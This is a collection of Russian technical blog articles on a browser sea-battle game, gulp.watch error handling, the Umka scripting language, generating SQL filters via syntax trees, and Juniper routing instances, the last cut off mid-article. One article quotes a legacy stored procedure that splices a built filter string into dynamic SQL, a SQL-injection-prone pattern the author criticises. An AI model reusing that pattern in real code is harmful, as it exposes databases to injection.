Есть много планов по развитию игры. Из крупных — новые режимы игры. Более мелкие — придумать тени/отражение на воде с учетом ограничений производительности WebGL и JS. Про возможность разбудить Кракена я уже упоминал :) Ещё не реализовано объединение игроков в комнаты на основе их накопленного опыта. Очевидное, но не слишком приоритетное усовершенствование — создать несколько карт морского дна и островов и выбирать для нового сражения одну из них случайным образом.
Можно создать немало визуальных эффектов путём неоднократной прорисовки сцены «в память» и последующего совмещения всех данных в одной картинке (по сути это можно назвать постобработкой), но у меня рука не поднимается увеличивать нагрузку на клиента подобным образом, ведь клиент это всё-таки браузер, а не нативное приложение. Возможно, однажды я решусь на этот шаг.
Есть также вопросы, на которые сейчас я затрудняюсь ответить: сколько игроков онлайн выдержит дешёвый виртуальный сервер, получится ли вообще собрать хоть какое-то количество заинтересованных игроков и как это сделать.
Пасхалка
--------
Кто не любит вспомнить старые компьютерные игры, которые дарили так много эмоций? Мне нравится перепроходить игру «Корсары 2» (она же «Sea Dogs 2») снова и снова до сих пор. Не мог не добавить в свою игру секрет и явно и косвенно напоминающий о «Корсарах 2». Не стану раскрывать все карты, но дам подсказку: моя пасхалка — это некий объект, который вы можете найти исследуя морские просторы (далеко плыть по бескрайнему морю не нужно, объект находится в пределах разумного, но всё же вероятность найти его не высока). Пасхальное яйцо полностью восстанавливает поврежденный корабль.
Что получилось
--------------
Минутное видео (тест с 2 устройств):
Ссылка на игру: <https://sailfire.pw>
Там же есть форма для связи, сообщения летят мне в телеграм: <https://sailfire.pw/feedback/>
Ссылки для желающих быть в курсе новостей и обновлений: [Паблик ВК](https://vk.com/sailfire), [Телеграм канал](https://t.me/sailfire) | https://habr.com/ru/post/509840/ | null | ru | null |
# Gulp.watch: ловим ошибки правильно
Во всех современных системах сборки фронтенда есть режим `watch`, при котором запускается специальный демон для автоматической пересборки файлов сразу после их сохранения. Также он есть и gulp.js, но с некоторыми особенностями, делающими работу с ним немного сложней. Работа gulp.js основана на обработке файлов как потоков данных (streams). И ошибки в потоках не всегда можно перехватить, а когда ошибка случается, то будет выброшено неперехваченное исключение и процесс завершится.
Чтобы этого не происходило, и watcher мог игнорировать отдельные ошибки и запускаться снова и снова при сохранении файлов, в gulp нужно сделать несколько дополнительных настроек, о которых и расскажется в этой статье.
Что происходит?
---------------
Для начала разберемся что происходит и почему же watcher иногда падает. При написании плагина к gulp рекомендуется испускать событие `error` при возникновении ошибок во время работы плагина. Но nodejs-потоки, на которых основана система сборки, не позволяют ошибкам оставаться незамеченными. В случае, если на событие `error` никто не подписался, выбросится исключение, чтобы сообщение точно достигло пользователя. В результате, при работе с gulp разработчики часто видят такие ошибки
```
events.js:72
throw er; // Unhandled 'error' event
```
При применении Continious-Integration (CI), когда на каждый коммит запускаются автоматические проверки, это может быть и полезным (сборка провалилась, билд не собрался, ответственные получат письма). Но вечно падающий watcher в локальной разработке, который нужно постоянно перезапускать – это большая неприятность.
Что делать?
-----------
В интернете можно найти вопросы этой теме как [на stackoverflow](http://stackoverflow.com/questions/23971388/prevent-errors-from-breaking-crashing-gulp-watch), так и [на тостере](https://toster.ru/q/212922). В ответах на вопросы предлагают несколько популярных решений.
Можно подписаться на событие `error`:
```
gulp.task('less', function() {
return gulp.src('less/*.less')
.pipe(less().on('error', gutil.log))
.pipe(gulp.dest('app/css'));
});
```
Можно подключить плагин [gulp-plumber](https://github.com/floatdrop/gulp-plumber), который не только подпишется на `error` для одного плагина, но и автоматически сделает это и для всех последующих плагинов, подключенных через pipe:
```
gulp.task('less', function() {
return gulp.src('less/*.less')
.pipe(plumber())
.pipe(less())
.pipe(gulp.dest('app/css'));
});
```
Почему так не надо делать
-------------------------
Несмотря на то, что проблема выглядит как решенная, это не так. Теперь ошибки сборки перехватываются, мы получаем в консоль сообщения об этом, запущенный демон-watcher не падает, но у нас теперь есть новая проблема.
Допустим у нас есть CI-сервер, где идет сборка наших скриптов для выкладки. Чтобы наша сборка работала вместе с watch, мы применили одно из решений выше. Но теперь оказывается, что при ошибках в сборке наш билд все равно отмечается как успешный. Команда gulp всегда завершается с кодом 0. Получается, для CI-сборки нам не нужно проглатывать ошибки. Можно добавлять свой обработчик ошибок только для watch режима, но это усложнит описание сборки и повысит шансы допустить ошибку. К счастью, есть решение, как настроить сборку одинаково, но при этом поддержать работу и в режиме билда и в режиме watch.
Решение
-------
На самом деле gulp пытается слушать ошибки в потоках файлов. Но из-за того, что обычно последним идет вызов `gulp.dest()`, записывающий результат на диск, а ошибки случаются в промежуточных плагинах, то ошибка не достигает конца цепочки, поэтому gulp о ней не узнает. Например рассмотрим такую цепочку:
```
stream1.on('error', function() { console.log('error 1') })
stream2.on('error', function() { console.log('error 2') })
stream3.on('error', function() { console.log('error 3') })
stream1
.pipe(stream2)
.pipe(stream3);
stream1.emit('error');
// в консоли выведется только "error 1"
```
В отличие от, например, promise, ошибки в потоках не распространяются дальше по цепочке, их нужно перехватывать в каждом потоке отдельно. По этому поводу есть [pull-request в io.js](https://github.com/nodejs/io.js/pull/1521), но в нынешних версиях передать ошибку в конец цепочки не получится. Поэтому gulp не может перехватить ошибки промежуточных потоках и нам это нужно делать самостоятельно.
Зато gulp в качестве описания task принимает не только функцию, возвращающую поток, но и обычную callback-style функцию, как и многие API в node.js. В такой функции мы сами будем решать, когда задача завершилось с ошибкой, а когда успешно:
```
gulp.task('less', function(done) {
gulp.src('less/*.less')
.pipe(less().on('error', function(error) {
// у нас ошибка
done(error);
}))
.pipe(gulp.dest('app/css'))
.on('end', function() {
// у нас все закончилось успешно
done();
});
});
```
Такое описание сборки выглядит немного больше, потому что мы теперь делаем часть работы за gulp, но теперь мы ее делаем правильно. А если написать себе вспомогательную функцию, [вроде такой](https://gist.github.com/just-boris/89ee7c1829e87e2db04c), то разница будет практически незаметна:
```
gulp.task('less', wrapPipe(function(success, error) {
return gulp.src('less/*.less')
.pipe(less().on('error', error))
.pipe(gulp.dest('app/css'));
}));
```
Зато мы получим правильные сообщения в консоли как во время разработки и пересборке при сохранении, так и на CI-сервере во время билда. | https://habr.com/ru/post/259225/ | null | ru | null |
# Umka. Жизнь статической типизации в скриптовом языке
В своё время посты на [Хабре](https://habr.com/ru/post/501002/) и [Reddit](https://www.reddit.com/r/ProgrammingLanguages/comments/gf5w0p/umka_a_new_statically_typed_scripting_language/) о статически типизированном скриптовом языке [Umka](https://github.com/vtereshkov/umka-lang) вызвали весьма активную дискуссию.
Прошедшие полтора месяца позволили мне избавиться от некоторых заблуждений, развить язык и дать чуть более вразумительные ответы на вопросы публики. Как и следовало ожидать, наиболее серьёзное испытание выпало на долю самой концепции статической типизации. Она осталась в основе языка, но потребовала компромиссов — в частности, для корректной сборки мусора.
Появились первые замеры быстродействия интерпретатора в сравнении с Wren и Python — их результаты внушают оптимизм. Наконец, родился более реалистичный пример использования Umka по его основному назначению, т. е. как встраиваемого языка.
**Информация о типах во время исполнения программы (RTTI).** Проект начинался с радикального отказа от хранения типов данных при исполнении программы. Вся информация о типах терялась после компиляции в байт-код виртуальной машины. В принципе, статическая типизация позволяет это сделать, а заодно избавляет от странных трюков вроде [упаковки данных в NaN](http://wingolog.org/archives/2011/05/18/value-representation-in-javascript-implementations), к которой, например, прибегают создатели JavaScript и Wren ради увеличения быстродействия. Однако обнаружились два случая, в которых пришлось использовать RTTI:
* Приведение интерфейсного типа данных к конкретному — прямой аналог «утверждения типа» (type assertion) в Go, а также, отчасти, оператора `dynamic_cast` в C++. Оно требуется и при сборке мусора, содержащегося в данных, приведённых к интерфейсному типу.
* Сборка мусора, связанного с динамическими структурами данных вроде списков и деревьев.
**Быстродействие.** Изначально Umka никак не предназначался для установления рекордов быстродействия. Безразличие публики к медлительности Python наводило на мысль, что скорость вовсе не то качество, которого в первую очередь ожидают от скриптового языка. Однако успех LuaJIT и активная реклама Wren заставили задуматься. После этого меня уже не удивляло, что и ранние публикации про Umka вызвали вопросы о быстродействии, хотя мне по-прежнему интересно, от кого в первую очередь исходит спрос на скорость. От разработчиков игр?
Пока полный набор тестов не готов, я могу поделиться лишь предварительными результатами замеров. В численных задачах (например, задаче многих тел) Umka надёжно опережает Python, а если в задаче активно используется цикл `for`, то Umka даёт выигрыш даже по сравнению с Wren, который позиционируется автором чуть ли не как самый быстрый скриптовый язык после LuaJIT. Наглядным примером служит [перемножение больших матриц](https://github.com/vtereshkov/umka-lang/blob/master/benchmarks/matrices.um):
*Умножение матриц 400 x 400 (AMD A4-3300M @ 1.9 GHz, Windows 7)*
Очевидно, в пользу Umka здесь сыграла поддержка традиционных статических массивов и более низкоуровневая организация цикла `for`, не содержащая вызовов методов.
Задачи с интенсивной сборкой мусора (например, создание и обход двоичных деревьев) вызывают много сомнений по поводу эквивалентности сравниваемых алгоритмов. Например, известная реализация двоичных деревьев на Python [возвращает содержимое узлов россыпью](https://github.com/vtereshkov/umka-lang/blob/master/benchmarks/trees_nostruct.py) и выглядит так, будто в принципе допускает размещение всего дерева на стеке — вообще без использования кучи и сборки мусора. Однако она, по-видимому, требует динамической типизации и не может быть точно воспроизведена на Umka. Если же потребовать [возвращать узлы в виде структур](https://github.com/vtereshkov/umka-lang/blob/master/benchmarks/trees.py), как в Umka (а за неимением структур приходится требовать объекты), то быстродействие Python сразу же падает в 3-4 раза. [Вариант на Umka](https://github.com/vtereshkov/umka-lang/blob/master/benchmarks/trees.um) вдвое отстаёт от первой реализации и вдвое опережает вторую. Какое сравнение корректнее — не знаю.
**Взаимодействие с внешним кодом.** Коль скоро язык рассматривается как встраиваемый, понадобился более или менее реалистичный [пример взаимодействия кода на C и Umka](https://github.com/vtereshkov/umka-lang/blob/master/examples/3dcam.c). В нём средствами игровой библиотеки [raylib](https://www.raylib.com/) формируется трёхмерная сцена, а наполнение сцены определяется внешним скриптом на Umka. В примере можно найти и вызов функций Umka из кода на C, и вызов функций C из Umka. Статическая типизация языка Umka позволила естественным образом формировать на нём структуры данных, непосредственно воспринимаемые библиотекой raylib.
*Пример трёхмерной сцены, содержимое которой задаётся скриптом на Umka*
**Обобщённые типы и функции (generics).** Как только читатель улавливает сходство Umka с Go, пускай даже синтаксическое — следует вопрос о поддержке generic'ов. Работа в этом направлении пока не вышла из стадии обзора подходов. Конечно, хотелось бы воспользоваться предложениями разработчиков Go, однако сосуществование в их головах интерфейсов и «контрактов» всегда отпугивало, как странное дублирование понятий. К удивлению и радости, в только что вышедшей [новой редакции черновика](https://go.googlesource.com/proposal/+/refs/heads/master/design/go2draft-type-parameters.md) «контракты» исчезли — по тем же причинам, о которых размышлял и я. Пока generic'ов в Umka нет, остаётся пользоваться, как и в Go, пустыми интерфейсами `interface{}`.
**Документация.** Полная спецификация Umka ещё в работе, но уже написана [грамматика](https://github.com/vtereshkov/umka-lang#language-grammar) и расширен [обзорный тур](https://github.com/vtereshkov/umka-lang#a-tour-of-umka) по основным возможностям языка. | https://habr.com/ru/post/507510/ | null | ru | null |
# Дерево синтаксиса и альтернатива LINQ при взаимодействии с базами данных SQL
В этой статье, на примере простых логических выражений, будет показано, что такое абстрактное синтаксическое дерево и что с ним можно делать. Так же будет рассмотрена альтернатива выражениям LINQ для выполнения запросов к SQL базам данных.
### История из жизни разработчика
Это был какой-то легаси проект, и меня попросили улучшить его «расширенные» возможности фильтрации.
Раньше у них было что-то вроде этого:
А хотели они что-то такое:
Процедура, которая выполняла «расширенный» поиск выглядела примерно так:
```
CREATE PROCEDURE dbo.SomeContextUserFind
(@ContextId int, @Filter nvarchar(max)) AS
BEGIN
DECLARE @sql nvarchar(max) =
N'SELECT U.UserId, U.FirstName, U.LastName
FROM [User] U
INNER JOIN [SomeContext] [C]
ON ....
WHERE [C].ContextId = @p1 AND ' + @Filter;
EXEC sp_executesql
@sql,
N'@p1 int',
@p1=@ContextId
END
```
и код, генерировавший строку фильтра, выглядел примерно так:
```
string BuildFilter(IEnumerable items)
{
var builder = new StringBuilder();
foreach (var item in items)
{
builder.Append(item.Field);
bool isLike = false;
switch (item.Operation)
{
case Operation.Equals:
builder.Append(" = ");
break;
case Operation.Like:
isLike = true;
builder.Append(" LIKE ");
break;
//...
}
builder.Append('\'');
if (isLike)
builder.Append('%');
builder.Append(Escape(item.Value));
if (isLike)
builder.Append('%');
builder.Append('\'');
}
return builder.ToString();
}
```
Конечно, это не лучший код, который вы когда-либо видели, но, к сожалению, легаси проекты (или даже еще не легаси) часто полны таких вещей. В любом случае, что есть, то есть, и это нужно как-то улучшать.
Первая мысль, которая пришла мне в голову, — это просто добавить больше полей в «FilterItem» и усложнить логику построения фильтра, но я быстро понял, что это дорога в никуда ведь поддерживать такой код будет чрезвычайно сложно, и я бы никогда не смог не достичь желаемой функциональности.
В этот момент я вспомнил про «абстрактное синтаксическое дерево», которое, очевидно, является лучшим выбором в данном случае, и далее я объясню, что это такое и как оно помогает.
Абстрактное синтаксическое дерево
---------------------------------
Во-первых, давайте проанализируем строки фильтра, которые мы собираемся генерить, например вот эту:
```
[FirstName]='John' AND ([LastName]='Smith' OR [LastName]='Doe')
```
И здесь мы можем заметить некоторую структуру:
Эта структура представляет собой дерево, и это означает, что мы можем создать несколько простых классов, которые будут ее описывать:
```
abstract class Expr
{ }
class ExprColumn : Expr
{
public string Name;
}
class ExprStr : Expr
{
public string Value;
}
abstract class ExprBoolean : Expr
{ }
class ExprEqPredicate : ExprBoolean
{
public ExprColumn Column;
public ExprStr Value;
}
class ExprAnd : ExprBoolean
{
public ExprBoolean Left;
public ExprBoolean Right;
}
class ExprOr : ExprBoolean
{
public ExprBoolean Left;
public ExprBoolean Right;
}
```
Используя классы, мы можем создать объект, который будет представлять исходный фильтр:
```
var filterExpression = new ExprAnd
{
Left = new ExprEqPredicate
{
Column = new ExprColumn
{
Name = "FirstName"
},
Value = new ExprStr
{
Value = "John"
}
},
Right = new ExprOr
{
Left = new ExprEqPredicate
{
Column = new ExprColumn
{
Name = "LastName"
},
Value = new ExprStr
{
Value = "Smith"
}
},
Right = new ExprEqPredicate
{
Column = new ExprColumn
{
Name = "LastName"
},
Value = new ExprStr
{
Value = "Doe"
}
}
}
};
```
На самом деле, эта структура, называемая «абстрактным синтаксическим деревом», может использоваться и для представления более сложных запросов, но все они будут иметь один «корень», ссылка на который может храниться в одном объекте.
«Абстрактное синтаксическое дерево» — это результат синтаксического анализа (или парсинга) фразы некоторого формального языка (в нашем случае языка логических выражений) с определенными синтаксическими правилами. Такие правила имеют устоявшийся формат записи. Например, правила нашего простого языка (подмножество логических выражений) могут быть записаны как:
```
::= =
::= |or| OR |or|
::= |()| AND |()|
```
*Примечание: «Абстрактное» означает, что синтаксис не описывает все детали языка, например, группирующие скобки, лишние пробелы и т. д.*
Парсинг — огромная тема сама по себе, и сейчас это не так важно, поскольку у нас уже есть готовые синтаксические деревья, поэтому давайте сосредоточимся на том, что мы можем с ними делать.
### Генерация SQL кода
Очевидно, что наиболее важной задачей для нас является преобразование синтаксического дерева обратно в текст, и у нас есть несколько способов сделать это.
Первый способ — использовать сопоставление с образцом (Pattern Matching), что довольно просто:
```
var filterExpression = ...;
StringBuilder stringBuilder = new StringBuilder();
Match(filterExpression);
void Match(Expr expr)
{
switch (expr)
{
case ExprColumn col:
stringBuilder.Append('[' + Escape(col.Name, ']') + ']');
break;
case ExprStr str:
stringBuilder.Append('\'' + Escape(str.Value, '\'') + '\'');
break;
case ExprEqPredicate predicate:
Match(predicate.Column);
stringBuilder.Append('=');
Match(predicate.Value);
break;
case ExprOr or:
Match(or.Left);
stringBuilder.Append(" OR ");
Match(or.Right);
break;
case ExprAnd and:
ParenthesisForOr(and.Left);
stringBuilder.Append(" AND ");
ParenthesisForOr(and.Right);
break;
}
}
void ParenthesisForOr(ExprBoolean expr)
{
if (expr is ExprOr)
{
stringBuilder.Append('(');
Match(expr);
stringBuilder.Append(')');
}
else
{
Match(expr);
}
}
```
В результате в билдере будет следующая строка:
```
[FirstName]='John' AND ([LastName]='Smith' OR [LastName]='Joe')
```
Вроде это то, что нам нужно!
### "Посетитель"
Хоть мне и нравится функциональное программирование, но в этом случае объектно-ориентированный подход может обеспечить более эффективное решение — я говорю о шаблоне «Посетитель (Visitor)». Идея этого шаблона заключается в том, что мы не пытаемся определить тип объекта, а даем ему список всех возможных действий (в виде интерфейса), и объект сам выбирает действие, наиболее подходящее для его типа. Давайте определим это список:
```
interface IExprVisitor
{
void VisitColumn(ExprColumn column);
void VisitStr(ExprStr str);
void VisitEqPredicate(ExprEqPredicate eqPredicate);
void VisitOr(ExprOr or);
void VisitAnd(ExprAnd and);
}
```
И любой объект (нашей структуры) может сделать выбор:
```
abstract class Expr
{
public abstract void Accept(IExprVisitor visitor);
}
class ExprColumn : Expr
{
public string Name;
public override void Accept(IExprVisitor visitor)
=> visitor.VisitColumn(this);
}
class ExprStr : Expr
{
public string Value;
public override void Accept(IExprVisitor visitor)
=> visitor.VisitStr(this);
}
...
```
Теперь мы можем выделить генерацию sql кода в отдельный класс:
```
class SqlBuilder : IExprVisitor
{
private readonly StringBuilder _stringBuilder
= new StringBuilder();
public string GetResult()
=> this._stringBuilder.ToString();
public void VisitColumn(ExprColumn column)
{
this._stringBuilder
.Append('[' + Escape(column.Name, ']') + ']');
}
public void VisitStr(ExprStr str)
{
this._stringBuilder
.Append('\'' + Escape(str.Value, '\'') + '\'');
}
public void VisitEqPredicate(ExprEqPredicate eqPredicate)
{
eqPredicate.Column.Accept(this);
this._stringBuilder.Append('=');
eqPredicate.Value.Accept(this);
}
public void VisitAnd(ExprAnd and)
{
and.Left.Accept(this);
this._stringBuilder.Append(" AND ");
and.Right.Accept(this);
}
public void VisitOr(ExprOr or)
{
ParenthesisForOr(or.Left);
this._stringBuilder.Append(" OR ");
ParenthesisForOr(or.Right);
}
void ParenthesisForOr(ExprBoolean expr)
{
if (expr is ExprOr)
{
this._stringBuilder.Append('(');
expr.Accept(this);
this._stringBuilder.Append(')');
}
else
{
expr.Accept(this);
}
}
private static string Escape(string str, char ch)
{
...
}
}
```
И использовать его следующим образом:
```
var filterExpression = BuildFilter();
var sqlBuilder = new SqlBuilder();
filterExpression.Accept(sqlBuilder);
string sql = sqlBuilder.GetResult();
```
В результате мы получаем желаемую строку:
```
[FirstName]='John' AND ([LastName]='Smith' OR [LastName]='Joe')
```
Использование шаблона "Посетитель (Visitor)" имеет несколько преимуществ перед сопоставлением с шаблоном. Так, например, выбор конкретных типов всегда является исчерпывающим, поскольку добавление нового типа в структуру всегда приводит к изменению интерфейса **IExprVisitor** и, как следствие, необходимости расширения всех его реализаций (в противном случае будут ошибки компиляции).
### Обход дерева и круглые скобки
В этом алгоритме есть несколько аспектов, на которые следует обратить внимание.
Во-первых, как это вообще работает?
Фактически, здесь мы выполняем обход синтаксического дерева в глубину, и код sql является следом этого обхода:
Таким образом, каким бы сложным ни было наше дерево, мы всегда получим синтаксически правильную строку.
Во-вторых, что происходит со скобками?
Дело в том, что логические выражения имеют определенный порядок вычисления. Операция «И» вычисляется первой, а операция «ИЛИ» — второй. Скобки необходимы для изменения этой последовательности, поскольку любое выражение в скобках имеет более высокий приоритет при вычислении. Но в синтаксическом дереве последовательность оценки задается самой структурой (от ветвей до корня), поэтому отдельный тип для круглых скобок не требуется.
### Расширение синтаксиса
В реальности нам конечно понадобятся и другие предикаты, например, “NotEqual”, и чтобы иметь возможность его (предикат) использовать, нам просто нужно добавить новый класс:
```
class ExprNotEqPredicate : ExprBoolean
{
public ExprColumn Column;
public ExprStr Value;
public override void Accept(IExprVisitor visitor)
=> visitor.VisitNotEqPredicate(this);
}
```
А поскольку у нас есть новый тип, то компилятор сообщает нам, что нам нужно реализовать для него генерацию кода SQL:
```
public void VisitNotEqPredicate(ExprNotEqPredicate exprNotEqPredicate)
{
exprNotEqPredicate.Column.Accept(this);
this._stringBuilder.Append("!=");
exprNotEqPredicate.Value.Accept(this);
}
```
Итак, мы создали очень простой набор логических предикатов, хотя MS SQL поддерживает гораздо больше, но, как видите, вы можете легко добавить все необходимые языковые структуры.
Кстати, в документации по SQL Server есть все [правила синтаксиса SQL](https://docs.microsoft.com/en-us/sql/t-sql/queries/search-condition-transact-sql), которые весьма полезны для подобного расширения:
### Перегрузка операторов
Очевидно, что создание синтаксических деревьев путем вызова конструкторов классов это не самый удобный способ. Однако нам может помочь перегрузка оператора C#. Давайте сделаем следующее:
```
class ExprColumn : Expr
{
...
public static ExprBoolean operator==(ExprColumn column, string value)
=> new ExprEqPredicate
{
Column = column, Value = new ExprStr {Value = value}
};
public static ExprBoolean operator !=(ExprColumn column, string value)
=> new ExprNotEqPredicate
{
Column = column, Value = new ExprStr {Value = value}
};
}
abstract class ExprBoolean : Expr
{
public static ExprBoolean operator &(ExprBoolean left, ExprBoolean right)
=> new ExprAnd{Left = left, Right = right};
public static ExprBoolean operator |(ExprBoolean left, ExprBoolean right)
=> new ExprOr { Left = left, Right = right };
}
```
Теперь мы можем создать дерево синтаксиса очень простым и понятным способом:
```
ExprColumn firstName = new ExprColumn{Name = "FirstName"};
ExprColumn lastName = new ExprColumn{Name = "LastName"};
var expr = firstName == "John" & (lastName == "Smith" | lastName == "Doe");
var builder = new SqlBuilder();
expr.Accept(builder);
var sql = builder.GetResult();
```
И результатом будет:
```
[FirstName]='John' AND ([LastName]='Smith' OR [LastName]='Doe')
```
*Примечание: C# не допускает перегрузки операторов **&&** и **||**, и в этом есть смысл, поскольку эти операторы прекращают дальнейшее вычисление, если результат уже заранее известен (Например true || ....), но нам нужно вычислить все части для построения синтаксического дерева (результат будет выполняться базой данных SQL).*
### Что дальше
Кажется, мы решили проблему с фильтрацией, но как насчет сортировки и пейджинга? Также иногда необходимо добавить к оригинальному запросу какой-нибудь под-запрос (View или Derived Table) для фильтрации (или сортировки) по вычисляемым полям.
Не проблема! Давайте просто реализуем весь синтаксис [SQL SELECT](https://docs.microsoft.com/en-us/sql/t-sql/queries/select-transact-sql):
Конечно, вам не нужно делать это самостоятельно, так как есть несколько библиотек ([например, моя](https://github.com/0x1000000/SqExpress)), где это уже реализовано, поэтому просто рассмотрите этот подход как альтернативный способ взаимодействия с базами данных SQL.
Альтернатива LINQ
-----------------
То, что мы сделали с перегрузкой операторов, до некоторой степени напоминает выражения LINQ, и на самом деле тут есть некоторые сходства. Компилятор C# генерирует синтаксические деревья, а затем библиотеки, такие как Entity Framework или «LINQ to SQL», преобразуют эти деревья в реальный код SQL.
Основная проблема этого подхода заключается в том, что компилятор генерирует синтаксическое дерево языка C#, а нам то нужен SQL! Отражение императивного C# в декларативный SQL – это не простая задача, а результаты часто непредсказуемы.
Я предпочитаю другой подход — вместо использования синтаксиса C# в качестве основы можно использовать настоящий синтаксис SQL. И вместо компилятора он может использовать перегрузку операторов, методы расширения и различные вспомогательные классы.
При таком подходе, с одной стороны, мы получаем почти такую же гибкость, как если бы мы использовали хранимые процедуры. С другой стороны, у нас строгая типизация, intellisense и бизнес-логика не перемещается в базу данных. И… не нужно каждый раз гуглить, как выполнить LEFT JOIN в LINQ)
Еще одно преимущество заключается в том, что операторы обновления данных (INSERT, UPDATE, DELETE и даже MERGE) также могут быть реализованы таким же образом, и нет необходимости загружать тысячи записей из базы данных для обновления только одного столбца.
Просто пример того, что можно сделать, используя в качестве основы реальный синтаксис SQL ([взято отсюда](https://github.com/0x1000000/SqExpress#more-tables-and-foreign-keys)):
```
await InsertInto(tCustomer, tCustomer.UserId)
.From(
Select(tUser.UserId)
.From(tUser)
.Where(!Exists(
SelectOne()
.From(tSubCustomer)
.Where(tSubCustomer.UserId == tUser.UserId))))
.Exec(database);
```
Заключение
----------
Синтаксическое дерево — это очень мощная структура данных, с которой вы, вероятно, рано или поздно столкнетесь. Возможно, это будут выражения LINQ, или, может быть, вам надо будет создать анализатор Roslyn, или, может быть, вы самостоятельно захотите создать свой собственный синтаксис, как это я сделал несколько лет назад, чтобы провести рефакторинг одного легаси проекта. В любом случае важно понимать эту структуру и уметь с ней работать.
[Link to SqExpress](https://github.com/0x1000000/SqExpress) — проект, который частично включает код из этой статьи. | https://habr.com/ru/post/524874/ | null | ru | null |
# Juniper routing instances
Routing Instance – это совокупность таблиц маршрутизации, интерфейсов и параметров протоколов маршрутизации. Протоколы маршрутизации контролируют информацию в таблицах маршрутизации, причем в одной routing instance могут быть как IPv4, так и IPv6 маршруты одновременно, а так же несколько физических или логических интерфейсов. Один физический интерфейс, разбитый на несколько логических unit-ов (субинтерфейсов), может быть отнесен к разным routing instance (однако один и тот же unit (субинтерфейс) или, не разделенный на unit-ы, физический интерфейс, нельзя прикрепить к разным routing instance).
Routing instance — мощнейший инструмент операционной системы JunOS, позволяющий при совместном использовании c rib-groups, firewall filters и policy выполнить любую задачу. К сожалению, многие инженеры не знают о назначении большинства routing instances, кроме всем до боли знакомой VRF.
JunOS предоставляет нам большой выбор routing instance, доступных для конфигурирования:
```
routing-instances {
routing-instance-name {
interface interface-name;
instance-type (forwarding | l2vpn | layer2-control | no-forwarding | virtual-router | virtual-switch | vpls | vrf);
}
}
```
На момент написания статьи доступны для конфигурирования следующие типы routing instance:
1. VRF,
2. Forwarding,
3. Virtual router,
4. Nonforwarding,
5. VPLS,
6. Layer 2 VPN,
7. Layer2-control (MX Series routers only),
8. Virtual switch (MX Series routers only),
9. Layer 2 Backhaul VPN (MX Series routers only) (о ней я постараюсь написать отдельный пост).
*Если кто-то обнаружит какую то какие либо описки или неточности в статье (я тоже человек и могу ошибиться) или у кого-то будут дополнения, прошу писать личные сообщения с ссылками на необходимую информацию.*
**VRF (Virtual routing and forwarding).**
Этот тип routing instance знают почти все. По своему функционалу он подобен аналогичному из мира Cisco и используется для реализации сервисов на базе MPLS (например для L3VPN, 6VPE).
VRF не является каким то отдельным маршрутизатором внутри основного маршрутизатора (или коммутатора). VRF изолирует таблицу маршрутизации и интерфейсы клиента от основной таблицы маршрутизации и интерфейсов маршрутизатора, а так же от таблиц маршрутизации и интерфейсов других клиентов. Конфигурация VRF выглядит следующим образом:
```
root@PE2# show routing-instances
6pe-2 {
instance-type vrf;
interface ge-0/0/3.101;
route-distinguisher 2001:31133;
vrf-target target:200:31133;
vrf-table-label;
routing-options {
router-id 101.101.101.101;
}
protocols {
ospf3 {
export isis-ce2-export;
area 0.0.0.0 {
interface ge-0/0/3.101;
}
}
}
}
```
Функционал данной routing-instance поддерживает все протоколы маршрутизации, статические маршруты, протокол распределения меток ldp (но rsvp — не поддерживается), а так же экспорт и импорт маршрутов (из протоколов маршрутизации основной routing-instance и других VRF, сконфигрурированных на маршрутизаторе).
В конфигурации обязательно надо указать уникальное значение route-distinguisher, значения route-targets (import и export), а так же интерфейс (или интерфейсы) в сторону клиента, относящиеся к данной routing-instance. Использование RT и RD является одними из ключевых понятий в реализации l3vpn (соответственно и других технологий, использующих данную логику, например 6VPE) — именно эти два значения позволяют использовать пересекающуюся адресацию у клиентов (RD) и производить фильтрацию префиксов, получаемых от разных клиентов и последующей инсталяцией их в изолированные таблицы маршрутизации (RT). Данная routing-instance создает свою таблицу маршрутизации, которая имеет наименование instance\_name.inet.0 или instance\_name.inet6.0:
```
vrf1.inet.0: 12 destinations, 22 routes (12 active, 0 holddown, 0 hidden)
+ = Active Route, - = Last Active, * = Both
10.0.0.0/30 *[OSPF/10] 01:59:31, metric 2
> to 10.0.1.1 via ge-0/0/0.0
10.1.1.1/32 *[OSPF/10] 01:59:31, metric 2
> to 10.0.1.1 via ge-0/0/0.0
10.2.2.2/32 *[OSPF/10] 01:59:31, metric 2
> to 10.0.1.1 via ge-0/0/0.0
```
В таблице маршрутизации клиента есть только маршруты к другим сайтам данного клиента и его внутренние маршруты. То есть для клиента сеть провайдера прозрачна и имеет вид маршрутизатора, к которому подключены все его сайты.
Помимо таблицы маршрутизации клиента, на маршрутизаторе будет создана еще одна таблица маршрутизации bgp.l3vpn.0, в которую устанавливаются все маршруты, полученные маршрутизатором по протоколу bgp (address family inet-vpn unicast), согласно сконфигурированным значениям RT import:
```
bgp.l3vpn.0: 12 destinations, 9 routes (9 active, 0 holddown, 0 hidden)
Prefix Nexthop MED Lclpref AS path
100:100:10.0.0.0/16
* 10.2.2.2 0 100 ?
100:100:10.0.1.1/32
* 10.2.2.2 0 100 ?
200:100:10.0.0.0/16
* 10.3.3.3 0 100 ?
```
Примечание: в случае, когда необходимо запустить в данном VRF протокол ISIS, то нужно сконфигурировать дополнительный unit логического интерфейса Lo с указанием NET адреса, а так же прикрепить данный логический интерфейс к VRF:
```
ce2-l3vpn {
instance-type vrf;
interface ge-0/0/2.0;
interface lo0.1; #в VRF добавлен unit 1 интерфейса Lo0
route-distinguisher 10.0.1.0:31133;
vrf-target target:10:31133;
protocols {
isis {
export isis-ce2-export;
interface ge-0/0/2.0;
interface lo0.1;
}
}
}
```
Примечание: в конфигурации есть команда vrf-table-label. По умолчанию JunOS использует per-next-hop label allocation для маршрутов клиентов. Указанная выше команда переводит режим распределения меток в per-vrf, то есть все маршруты данной vrf будут иметь одну и ту же метку. (Если кому то будет интересно, напишу статью об этом.)
Переходим к следующему типу routing instance — **Forwarding**.
Как известно, JunOS отпугивает многих новичков длинными и на первый взгляд не понятными конфигурациями, особенно если этот новичок пришел из мира Cisco. К примеру, если в Cisco вам надо сделать policy based routing (PBR), то вы пишите access-list и простенький route-map. В JunOS все сложнее, но поняв подход Juniper, вы поймете на сколько он элегантнее цисковского. Зачем я это пишу? Дело в том, что routing instance Forwarding задумывалась именно для целей PBR (в мире Juniper этот вид маршрутизации носит имя filter based routing). Ниже предствлена конфигурация данной routing instance:
```
[edit routing-instances]
root# show
forward {
instance-type forwarding;
routing-options {
static {
route 10.0.0.0/24 next-hop 10.0.1.1;
}
}
}
```
